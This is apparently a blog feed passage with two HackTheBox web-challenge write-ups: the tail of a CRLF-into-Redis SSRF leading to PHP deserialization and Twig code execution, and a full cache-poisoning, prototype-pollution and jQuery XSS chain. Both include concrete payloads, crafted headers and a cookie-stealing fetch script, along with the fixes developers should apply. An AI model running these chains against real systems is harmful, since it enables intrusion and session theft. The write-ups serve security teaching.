&lt;li&gt;Redis has a cross-protocol guard: if the first word of a line it reads is exactly &lt;code&gt;post&lt;/code&gt; or &lt;code&gt;host:&lt;/code&gt;, it assumes something is trying to smuggle web traffic into it and &lt;strong&gt;slams the connection shut with no reply&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So Redis was killing the socket the moment it hit PHP&apos;s automatic &lt;code&gt;Host:&lt;/code&gt; line — before ever reaching my injected commands. The total silence is exactly what you&apos;d expect from a connection closed early.&lt;/p&gt;
&lt;p&gt;The fix is a single clever line. PHP will skip adding its own &lt;code&gt;Host:&lt;/code&gt; &lt;strong&gt;if my headers already contain one&lt;/strong&gt;, but PHP only recognizes a &lt;code&gt;Host:&lt;/code&gt; that sits at the very start of a line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (s == headers || *(s-1) == &apos;\n&apos;) return 1;   // only counts a match at a line start
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So I inject the line &lt;code&gt;host:zzz&lt;/code&gt; — note: &lt;strong&gt;no space after the colon&lt;/strong&gt;. This one line does double duty:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To &lt;strong&gt;PHP&lt;/strong&gt; it looks like a &lt;code&gt;Host:&lt;/code&gt; header at the start of a line, so PHP suppresses its own — Redis never sees the poisonous &lt;code&gt;host:&lt;/code&gt; word.&lt;/li&gt;
&lt;li&gt;To &lt;strong&gt;Redis&lt;/strong&gt; it splits on whitespace into the single word &lt;code&gt;host:zzz&lt;/code&gt;, which is &lt;em&gt;not&lt;/em&gt; the banned &lt;code&gt;host:&lt;/code&gt;, so the guard stays quiet and Redis just treats it as an unknown command and moves on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The full crafted header value looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-A: z\r\nhost:zzz\r\n&amp;lt;Redis XADD command&amp;gt;\r\nX-B: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The tell that it finally worked: the request stopped returning instantly and started &lt;strong&gt;stalling&lt;/strong&gt; for the full socket timeout — meaning Redis was now holding the connection open and reading, instead of hanging up. I send the actual Redis commands in Redis&apos;s binary &quot;RESP&quot; format (rather than plain text) so that the quotes and spaces inside my PHP payload never get mangled by Redis&apos;s text-parsing rules.&lt;/p&gt;
&lt;h2&gt;6. Two dead ends worth recording&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Trying to use Redis&apos;s &lt;code&gt;DEBUG SLEEP&lt;/code&gt; as a timing signal.&lt;/strong&gt; Modern Redis ships with &lt;code&gt;DEBUG&lt;/code&gt; disabled by default, so &quot;no delay = no injection&quot; was measuring nothing at all. Don&apos;t build an oracle on a command that might be turned off.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trusting the app&apos;s own &quot;service is up/down&quot; message.&lt;/strong&gt; That check reported &quot;down&quot; &lt;em&gt;both&lt;/em&gt; for a refused connection and for a successful connection that returned non-HTTP data — so it never actually distinguished reachable from unreachable. Every reliable signal had to be an out-of-band side effect (a stalled connection, a file appearing), never the app&apos;s own response text.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. The whole chain in order&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;POST /admin/login              admin:admin   (found in migrations/db.sql)
POST /api/service/check        host = http://127.0.0.1:6379/
                               headers = {&quot;X-A&quot;: &quot;z\r\nhost:zzz\r\n&amp;lt;XADD ...&amp;gt;\r\nX-B: 1&quot;}
   -&amp;gt; CRLF injection writes my lines into the request to Redis
   -&amp;gt; &quot;host:zzz&quot; hides PHP&apos;s own Host: line without tripping Redis&apos;s guard
   -&amp;gt; XADD drops my serialized PHP object onto the &quot;messages&quot; queue
the worker runs messenger:consume -&amp;gt; unserialize() rebuilds my object
   -&amp;gt; the object is discarded -&amp;gt; __destruct() runs -&amp;gt; Twig executes -&amp;gt; system(&apos;/readflag ...&apos;)
GET /static/exports/f1337.txt  -&amp;gt; read the flag out of the web-served file
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One escaping detail: Symfony&apos;s encoder runs &lt;code&gt;addslashes()&lt;/code&gt; on the message body and the decoder runs &lt;code&gt;stripslashes()&lt;/code&gt;, so my serialized payload has to be pre-escaped to survive that round trip. And why write the flag to a file instead of getting it in a response? Because this SSRF is &lt;strong&gt;blind&lt;/strong&gt; — the worker runs in the background with nowhere to send output — so I use a file in Apache&apos;s public folder as the delivery channel. The worker runs as root, so &lt;code&gt;system()&lt;/code&gt; can do anything.&lt;/p&gt;
&lt;h2&gt;8. How the developers should have fixed it&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Never concatenate input into &lt;code&gt;Twig::createTemplate()&lt;/code&gt; — render a real template file and pass the data as variables. And enable the sandbox that&apos;s already written (but disabled) in &lt;code&gt;services.yaml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Don&apos;t use PHP&apos;s object serializer for a queue an attacker might reach; use the JSON serializer, and treat the message broker as untrusted.&lt;/li&gt;
&lt;li&gt;Validate the SSRF target against an allowlist, and &lt;strong&gt;reject&lt;/strong&gt; header values that contain &lt;code&gt;\r&lt;/code&gt; or &lt;code&gt;\n&lt;/code&gt; instead of merely trimming their ends.&lt;/li&gt;
&lt;li&gt;Don&apos;t ship real credentials like &lt;code&gt;admin:admin&lt;/code&gt; in migration files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The thread running through this solve: never trust a single signal. The CRLF injection, the &lt;code&gt;Host:&lt;/code&gt;-suppression trick, and the Redis write were each proven by an independent, out-of-band effect &lt;em&gt;before&lt;/em&gt; the next step was built on top of it. On a blind, multi-stage chain like this, that discipline is the difference between progress and staring at silence.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;p&gt;If any concept above was new, these are solid starting points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/server-side-template-injection&quot;&gt;SSTI — PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/ssrf&quot;&gt;SSRF — PortSwigger Web Security Academy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/deserialization&quot;&gt;Insecure deserialization — PortSwigger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection&quot;&gt;PHP object injection — OWASP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/language.oop5.magic.php&quot;&gt;PHP magic methods (&lt;code&gt;__destruct&lt;/code&gt; etc.)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/HTTP_Response_Splitting&quot;&gt;CRLF injection / HTTP response splitting — OWASP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/reference/protocol-spec/&quot;&gt;Redis serialization protocol (RESP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://symfony.com/doc/current/messenger.html&quot;&gt;Symfony Messenger component&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://twig.symfony.com/doc/3.x/&quot;&gt;Twig template documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>HTB Regregious — Cache Poisoning to XSS</title><link>https://www.onevilx.tech/posts/regregious/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/regregious/</guid><description>A beginner-friendly walkthrough of a three-bug web chain: poisoning a shared cache to plant a payload in a bot&apos;s browser, polluting a JavaScript prototype to smuggle settings into jQuery, and stealing the bot&apos;s cookie back through the same cache — no attacker server required.</description><pubDate>Mon, 31 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; HackTheBox — &lt;em&gt;Regregious&lt;/em&gt; (Web, Medium, 1000 pts)&lt;br /&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;HTB{p0is0n_4nd_p0llu7i0n_i5_7his_a_s0rc3ry?}&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;Given:&lt;/strong&gt; the full source code and a live instance&lt;br /&gt;
&lt;strong&gt;Class:&lt;/strong&gt; Web Cache Poisoning → Prototype Pollution → Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;strong&gt;Audience:&lt;/strong&gt; written to be followed even if this is your first real web chain&lt;br /&gt;
&lt;strong&gt;Exploit repo:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/HackTheBox/Regregious&quot;&gt;onevilx/Writeups&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;The idea in plain terms&lt;/h2&gt;
&lt;p&gt;There is a bot — an automated Chrome browser — that logs into the target site and holds the flag in one of its cookies. My job is to run JavaScript &lt;em&gt;inside that bot&apos;s browser&lt;/em&gt;, read the cookie, and get it back out to me.&lt;/p&gt;
&lt;p&gt;Three separate weaknesses stand between me and that goal, and none of them is enough on its own:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;strong&gt;shared cache&lt;/strong&gt; lets me leave a booby-trapped response where the bot will pick it up.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;sloppy settings-merge&lt;/strong&gt; in the page&apos;s JavaScript lets that response quietly rewrite defaults deep inside the JavaScript engine.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;quirk of the jQuery library&lt;/strong&gt; turns those rewritten defaults into an actual &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag that runs my code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Then a fourth trick reuses weakness #1 &lt;em&gt;backwards&lt;/em&gt; to carry the stolen cookie home. Let&apos;s build it one piece at a time.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;New to this?&lt;/strong&gt; A few terms up front.
&lt;strong&gt;Cookie&lt;/strong&gt; — a small string the browser stores for a site and sends on every request; it&apos;s how a site remembers you&apos;re logged in.
&lt;strong&gt;XSS (Cross-Site Scripting)&lt;/strong&gt; — getting your own JavaScript to run inside someone else&apos;s page/session. If you can do that in the bot&apos;s browser, you can do anything the bot can, including read its cookies.
&lt;strong&gt;&lt;code&gt;httpOnly&lt;/code&gt;&lt;/strong&gt; — a flag that hides a cookie from JavaScript. If it&apos;s set, &lt;code&gt;document.cookie&lt;/code&gt; can&apos;t see it. Here it is &lt;em&gt;not&lt;/em&gt; set, which is why reading the flag with JavaScript is even possible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1. Where the flag lives, and the wall in front of it&lt;/h2&gt;
&lt;p&gt;The bot&apos;s script (&lt;code&gt;bot.js&lt;/code&gt;) shows exactly what it does:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// bot.js
const cookies = [{ &apos;name&apos;: &apos;flag&apos;, &apos;value&apos;: &apos;HTB{f4k3_fl4g_f0r_t3st1ng}&apos; }];

await page.goto(&apos;http://127.0.0.1:1337/&apos;);
await page.setCookie(...cookies);
await page.goto(&apos;http://127.0.0.1:1337/&apos;, { waitUntil: &apos;networkidle2&apos; });
await page.evaluate(() =&amp;gt; document.querySelector(&apos;#buildStubBtn&apos;).click());
await page.waitForTimeout(3000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reading it plainly: the bot sets a &lt;code&gt;flag&lt;/code&gt; cookie, loads the site&apos;s home page, and &lt;strong&gt;clicks a button&lt;/strong&gt; (&lt;code&gt;#buildStubBtn&lt;/code&gt;). The cookie has no &lt;code&gt;httpOnly&lt;/code&gt;, so if I can run JavaScript in that page, &lt;code&gt;document.cookie&lt;/code&gt; will hand me the flag. So this is an XSS challenge. I also learn the bot is kicked off by a request to &lt;code&gt;GET /api/stub/build&lt;/code&gt; coming from any IP that isn&apos;t localhost.&lt;/p&gt;
&lt;p&gt;Here is the wall. The bot is &lt;em&gt;logged in as itself&lt;/em&gt;. Everything it sees on the page is the bot&apos;s own data. Anything I save while poking the site is saved under &lt;em&gt;my&lt;/em&gt; account, in &lt;em&gt;my&lt;/em&gt; session — the bot never sees it. Normal application flow gives me no way to put anything in front of the bot. Breaking through that wall is the entire challenge, and it needs the first bug.&lt;/p&gt;
&lt;h2&gt;2. Bug 1 — poisoning a shared cache&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is a cache?&lt;/strong&gt; To avoid recomputing the same response over and over, servers often save a response and reuse it. Each saved response is filed under a &lt;strong&gt;cache key&lt;/strong&gt; — a label built from parts of the request (often the URL). Next time a request comes in with a matching key, the server skips the work and returns the saved copy. The security rule is simple: &lt;strong&gt;the key must uniquely identify who the response belongs to.&lt;/strong&gt; If two different users can produce the same key but deserve different responses, one user can be served the other&apos;s data — or plant data for them. That&apos;s &lt;em&gt;cache poisoning.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here&apos;s the caching code (&lt;code&gt;routes/index.js&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cacheKey = `_${req.headers.host}_${req.url}_${(req.headers[&apos;x-forwarded-for&apos;] || req.ip)}`;
if (cache.has(cacheKey)) return res.send(JSON.parse(cache.get(cacheKey)));
return db.getUser(req.data.username).then(user =&amp;gt; {
    cache.set(cacheKey, user.settings);      // saved for 60 seconds
    res.send(JSON.parse(user.settings));
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look at what the key is made of: &lt;code&gt;Host&lt;/code&gt;, the URL, and &lt;code&gt;X-Forwarded-For&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;X-Forwarded-For&lt;/code&gt; are just request headers&lt;/strong&gt; — text the client sends and can set to anything. &lt;code&gt;Host&lt;/code&gt; says which site you&apos;re asking for; &lt;code&gt;X-Forwarded-For&lt;/code&gt; (XFF) is supposed to record the original client IP when a request passes through a proxy. Neither is trustworthy, because the person sending the request writes them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the key is built entirely from values I control, and — critically — it &lt;strong&gt;does not include the username or session&lt;/strong&gt;. But the &lt;em&gt;body&lt;/em&gt; it stores (&lt;code&gt;user.settings&lt;/code&gt;) is per-user. That is the bug: the cache treats &quot;same key&quot; as &quot;same response&quot;, while the response actually depends on who&apos;s logged in.&lt;/p&gt;
&lt;p&gt;Now, what key does the bot produce? The bot always talks to &lt;code&gt;Host: 127.0.0.1:1337&lt;/code&gt; and sends no &lt;code&gt;X-Forwarded-For&lt;/code&gt;, so the server falls back to &lt;code&gt;req.ip&lt;/code&gt;, which is &lt;code&gt;127.0.0.1&lt;/code&gt; (the app listens on all interfaces and doesn&apos;t trust proxy headers). Its key is therefore fixed and knowable in advance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_127.0.0.1:1337_/api/settings_127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;strong&gt;I&lt;/strong&gt; send &lt;code&gt;GET /api/settings&lt;/code&gt; while spoofing &lt;code&gt;Host: 127.0.0.1:1337&lt;/code&gt; and &lt;code&gt;X-Forwarded-For: 127.0.0.1&lt;/code&gt;, I generate that &lt;em&gt;exact&lt;/em&gt; key — and the server saves &lt;strong&gt;my&lt;/strong&gt; settings under &lt;strong&gt;the bot&apos;s&lt;/strong&gt; slot. When the bot later loads the page and its code fetches &lt;code&gt;/api/settings&lt;/code&gt;, it gets a cache hit and reads &lt;em&gt;my&lt;/em&gt; JSON instead of its own.&lt;/p&gt;
&lt;p&gt;And my settings are whatever I want: they&apos;re stored with &lt;code&gt;JSON.stringify(req.body)&lt;/code&gt; and never validated. I now have a way to hand the bot arbitrary JSON. The wall is down. Next I need that JSON to &lt;em&gt;do&lt;/em&gt; something.&lt;/p&gt;
&lt;h2&gt;3. Bug 2 — prototype pollution in the settings merge&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The 30-second version of prototype pollution.&lt;/strong&gt; In JavaScript, almost every object shares one common parent object called &lt;code&gt;Object.prototype&lt;/code&gt;. When you read &lt;code&gt;obj.foo&lt;/code&gt; and &lt;code&gt;obj&lt;/code&gt; doesn&apos;t have &lt;code&gt;foo&lt;/code&gt;, JavaScript looks up the parent chain and checks &lt;code&gt;Object.prototype.foo&lt;/code&gt;. So if an attacker can &lt;em&gt;write&lt;/em&gt; to &lt;code&gt;Object.prototype&lt;/code&gt;, they set a default that leaks into &lt;strong&gt;every&lt;/strong&gt; object that doesn&apos;t override it. The magic word is &lt;code&gt;__proto__&lt;/code&gt;: for most objects, &lt;code&gt;obj.__proto__&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; &lt;code&gt;Object.prototype&lt;/code&gt;. So writing to &lt;code&gt;something.__proto__.x&lt;/code&gt; writes a global default &lt;code&gt;x&lt;/code&gt;. Getting untrusted data into a &lt;code&gt;.__proto__&lt;/code&gt; path is &quot;prototype pollution.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The page merges the fetched settings into its form state (&lt;code&gt;static/js/main.js&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const mergeSettings = (target, source) =&amp;gt; {
	for (let key in source) {
		if ((typeof target[key] === &apos;object&apos;) &amp;amp;&amp;amp; (typeof source[key] === &apos;object&apos;)) {
			mergeSettings(target[key], source[key]);
		} else {
			target[key] = source[key];
		}
	}
	return target;
};
...
$.get(&apos;/api/settings&apos;, (savedSettings) =&amp;gt; {
	userSettings = mergeSettings(getSettings($(&apos;#builder-form&apos;)), savedSettings);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a &lt;strong&gt;recursive merge&lt;/strong&gt;: for each key in &lt;code&gt;source&lt;/code&gt;, if both sides are objects it dives deeper; otherwise it copies the value across. There is no check that rejects the dangerous keys &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, or &lt;code&gt;prototype&lt;/code&gt;. And &lt;code&gt;source&lt;/code&gt; is the JSON I now control (from bug 1).&lt;/p&gt;
&lt;p&gt;Two details make this fire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;for...in&lt;/code&gt; sees &lt;code&gt;__proto__&lt;/code&gt;.&lt;/strong&gt; Normally &lt;code&gt;__proto__&lt;/code&gt; is a hidden accessor, but when a key comes from &lt;strong&gt;&lt;code&gt;JSON.parse&lt;/code&gt;&lt;/strong&gt;, JavaScript creates it as a plain, &lt;em&gt;enumerable, own&lt;/em&gt; property — so the &lt;code&gt;for (let key in source)&lt;/code&gt; loop actually visits it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The recursion targets the prototype.&lt;/strong&gt; When &lt;code&gt;key&lt;/code&gt; is &lt;code&gt;&quot;__proto__&quot;&lt;/code&gt;, both &lt;code&gt;target[&quot;__proto__&quot;]&lt;/code&gt; and &lt;code&gt;source[&quot;__proto__&quot;]&lt;/code&gt; are objects, so the merge recurses with &lt;code&gt;target&lt;/code&gt; now pointing at &lt;code&gt;Object.prototype&lt;/code&gt;. Every key inside my nested object gets written onto &lt;code&gt;Object.prototype&lt;/code&gt; — i.e. becomes a global default on nearly every object in the page.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So by controlling the JSON, I can set arbitrary global defaults inside the bot&apos;s page. That&apos;s powerful, but it isn&apos;t code execution yet. I need a place where one of those planted defaults gets used as something dangerous. That place is jQuery.&lt;/p&gt;
&lt;h2&gt;4. Bug 3 — turning a polluted default into a running script&lt;/h2&gt;
&lt;p&gt;The button the bot clicks runs this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$.ajax({ url: &apos;/api/stub/build&apos;, type: &apos;get&apos;, success: ..., error: ... });
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;$.ajax&lt;/code&gt; is jQuery&apos;s function for making HTTP requests.&lt;/strong&gt; You pass it a settings object (URL, method, and options like &lt;code&gt;dataType&lt;/code&gt; — the kind of response you expect). Anything you &lt;em&gt;don&apos;t&lt;/em&gt; specify falls back to a default. And here&apos;s the connection: because of bug 2, &quot;falls back to a default&quot; now means &quot;falls back to a value I planted on &lt;code&gt;Object.prototype&lt;/code&gt;.&quot; This call sets no &lt;code&gt;dataType&lt;/code&gt; and no &lt;code&gt;scriptAttrs&lt;/code&gt;, so both are inherited straight from my pollution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why does that matter? Because one of jQuery&apos;s built-in ways to handle a response is the &lt;strong&gt;script transport&lt;/strong&gt; — it takes the response and loads it as a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;. jQuery decides to use it when &lt;code&gt;dataType&lt;/code&gt; is &lt;code&gt;&quot;script&quot;&lt;/code&gt;, and the transport looks like this (from &lt;code&gt;jquery-3.6.0.min.js&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ajaxTransport(&quot;script&quot;, function(n) {
  if (n.crossDomain || n.scriptAttrs)
    return { send: function(e, t) {
      r = S(&quot;&amp;lt;script&amp;gt;&quot;).attr(n.scriptAttrs || {})
                       .prop({ charset: n.scriptCharset, src: n.url })
      ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read what it does: it creates a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; element and calls &lt;code&gt;.attr(n.scriptAttrs)&lt;/code&gt; — which sets each key of &lt;code&gt;scriptAttrs&lt;/code&gt; as an &lt;strong&gt;HTML attribute&lt;/strong&gt; on that script tag. HTML attributes include event handlers like &lt;code&gt;onload&lt;/code&gt; and &lt;code&gt;onerror&lt;/code&gt;, and an event handler attribute is &lt;strong&gt;executable JavaScript&lt;/strong&gt;. So if I pollute &lt;code&gt;scriptAttrs&lt;/code&gt; with an &lt;code&gt;onload&lt;/code&gt;, jQuery builds:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/api/stub/build&quot; onload=&quot;MY_JAVASCRIPT_HERE&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and the browser runs my JavaScript when that tag loads. Two subtleties I relied on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;if&lt;/code&gt; only needs &lt;code&gt;crossDomain&lt;/code&gt; &lt;strong&gt;or&lt;/strong&gt; &lt;code&gt;scriptAttrs&lt;/code&gt; to be truthy — so a planted &lt;code&gt;scriptAttrs&lt;/code&gt; alone is enough to enter the branch.&lt;/li&gt;
&lt;li&gt;I don&apos;t control the &lt;em&gt;body&lt;/em&gt; of &lt;code&gt;/api/stub/build&lt;/code&gt; (it&apos;s fixed JSON), but I don&apos;t need to — &lt;strong&gt;the payload lives in the attribute, not the response body.&lt;/strong&gt; I set both &lt;code&gt;onload&lt;/code&gt; and &lt;code&gt;onerror&lt;/code&gt; so it fires no matter how the browser treats that JSON response.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The settings JSON I poison the bot&apos;s cache with is therefore:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;__proto__&quot;: {
   &quot;dataType&quot;: &quot;script&quot;,
   &quot;crossDomain&quot;: true,
   &quot;scriptAttrs&quot;: {&quot;onload&quot;: &quot;&amp;lt;payload&amp;gt;&quot;, &quot;onerror&quot;: &quot;&amp;lt;payload&amp;gt;&quot;}
}}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why keep it to just three keys?&lt;/strong&gt; Everything I add to &lt;code&gt;Object.prototype&lt;/code&gt; becomes a visible default on &lt;em&gt;every&lt;/em&gt; object, and lots of library code loops over object keys. Pollute too much and you break the page before the button is ever clicked. Minimal pollution = the page still works, and only my intended sink notices.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;5. Getting the cookie back — without an attacker server&lt;/h2&gt;
&lt;p&gt;The textbook exfiltration is &lt;code&gt;fetch(&apos;//my-server/?c=&apos; + document.cookie)&lt;/code&gt;. That needs the bot&apos;s container to have outbound internet and needs me to run a server to catch it. In this challenge the box has no outbound network. So instead I run the cache bug &lt;strong&gt;backwards&lt;/strong&gt; as my delivery channel.&lt;/p&gt;
&lt;p&gt;My injected JavaScript, running inside the bot, does two things:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(&apos;/api/settings&apos;, {
  method: &apos;POST&apos;,
  headers: {&apos;Content-Type&apos;: &apos;application/json&apos;},
  body: JSON.stringify({leak: document.cookie})            // step A: write the flag into the BOT&apos;s own row
}).then(() =&amp;gt; fetch(&apos;/api/settings&apos;, {
  headers: {&apos;X-Forwarded-For&apos;: &apos;pwnkey1337&apos;}               // step B: cache it under a label I chose
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Step A&lt;/strong&gt; saves the flag into the bot&apos;s own settings row on the server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Step B&lt;/strong&gt; requests &lt;code&gt;/api/settings&lt;/code&gt; again with a brand-new &lt;code&gt;X-Forwarded-For&lt;/code&gt; value. That&apos;s a &lt;em&gt;new&lt;/em&gt; cache key, so it misses the cache; the server reads the bot&apos;s row (now holding the flag) and saves it under &lt;code&gt;_127.0.0.1:1337_/api/settings_pwnkey1337&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now I simply request that exact key from my own machine, and the cache hands me the bot&apos;s data — flag included.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why is the browser allowed to send these requests?&lt;/strong&gt; They go to the &lt;em&gt;same site&lt;/em&gt; the bot is already on (same-origin), so there&apos;s no CORS permission needed and no preflight. &lt;code&gt;X-Forwarded-For&lt;/code&gt; isn&apos;t on the browser&apos;s list of banned (&quot;forbidden&quot;) headers, so JavaScript is allowed to set it. And cookies ride along automatically, which the site&apos;s auth check requires. &lt;strong&gt;The general lesson:&lt;/strong&gt; any cache whose key you control but whose body belongs to the victim can be used &lt;em&gt;both&lt;/em&gt; to plant data and to smuggle data out.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;6. The whole chain in order&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;1. GET  /                      -&amp;gt; get a normal session cookie for myself
2. POST /api/settings          -&amp;gt; save the __proto__ payload as my settings
3. GET  /api/settings          Host: 127.0.0.1:1337   XFF: 127.0.0.1
                               -&amp;gt; my payload is now sitting in the bot&apos;s cache slot
4. GET  /api/stub/build        -&amp;gt; from a non-localhost IP, so the bot launches
5. the bot loads /, its code fetches /api/settings and hits my poisoned cache
   -&amp;gt; the sloppy merge pollutes Object.prototype with my scriptAttrs
   -&amp;gt; the bot clicks #buildStubBtn -&amp;gt; $.ajax picks the script transport
   -&amp;gt; &amp;lt;script src=/api/stub/build onload=&quot;...&quot;&amp;gt; runs my JavaScript
   -&amp;gt; the flag is POSTed into the bot&apos;s row, then cached under my chosen key
6. GET  /api/settings          Host: 127.0.0.1:1337   XFF: pwnkey1337
                               -&amp;gt; the flag comes back to me
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit is written with Python&apos;s &lt;code&gt;http.client&lt;/code&gt; (standard library) so I can set the &lt;code&gt;Host&lt;/code&gt; header independently of the machine I actually connect to. It landed on the first attempt — the cache&apos;s 60-second lifetime leaves plenty of margin for a bot that finishes in about four seconds.&lt;/p&gt;
&lt;h2&gt;7. Dead ends worth knowing about&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$(\&lt;/code&gt;[name=${key}]`)&lt;code&gt;in the settings-restore code *looks* like it might let me inject HTML through a selector, but jQuery only treats a string as HTML when it **starts with&lt;/code&gt;&amp;lt;&lt;code&gt;**. This string always starts with &lt;/code&gt;[`, so it&apos;s harmless.&lt;/li&gt;
&lt;li&gt;I can&apos;t make the pollution fire on the &lt;code&gt;/api/settings&lt;/code&gt; response itself (e.g. by asking for it as a script), because the pollution &lt;em&gt;comes from&lt;/em&gt; that response — it isn&apos;t in effect yet when that response arrives. The gadget has to land on the &lt;em&gt;later&lt;/em&gt; &lt;code&gt;/api/stub/build&lt;/code&gt; request, which is exactly why the payload must live in an attribute rather than a response body.&lt;/li&gt;
&lt;li&gt;The bot loads the page twice, but prototype pollution doesn&apos;t survive a page navigation. Only the second load — the one where the flag cookie is set — matters.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;8. How the developers should have fixed it&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cache key:&lt;/strong&gt; include the identity the response belongs to (session or username), and never build a key out of &lt;code&gt;Host&lt;/code&gt; or &lt;code&gt;X-Forwarded-For&lt;/code&gt; unless a trusted proxy has already sanitized them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Merge:&lt;/strong&gt; reject the keys &lt;code&gt;__proto__&lt;/code&gt;, &lt;code&gt;constructor&lt;/code&gt;, and &lt;code&gt;prototype&lt;/code&gt;; or use a safe technique like &lt;code&gt;Object.create(null)&lt;/code&gt;, &lt;code&gt;structuredClone&lt;/code&gt;, or a vetted deep-merge library.&lt;/li&gt;
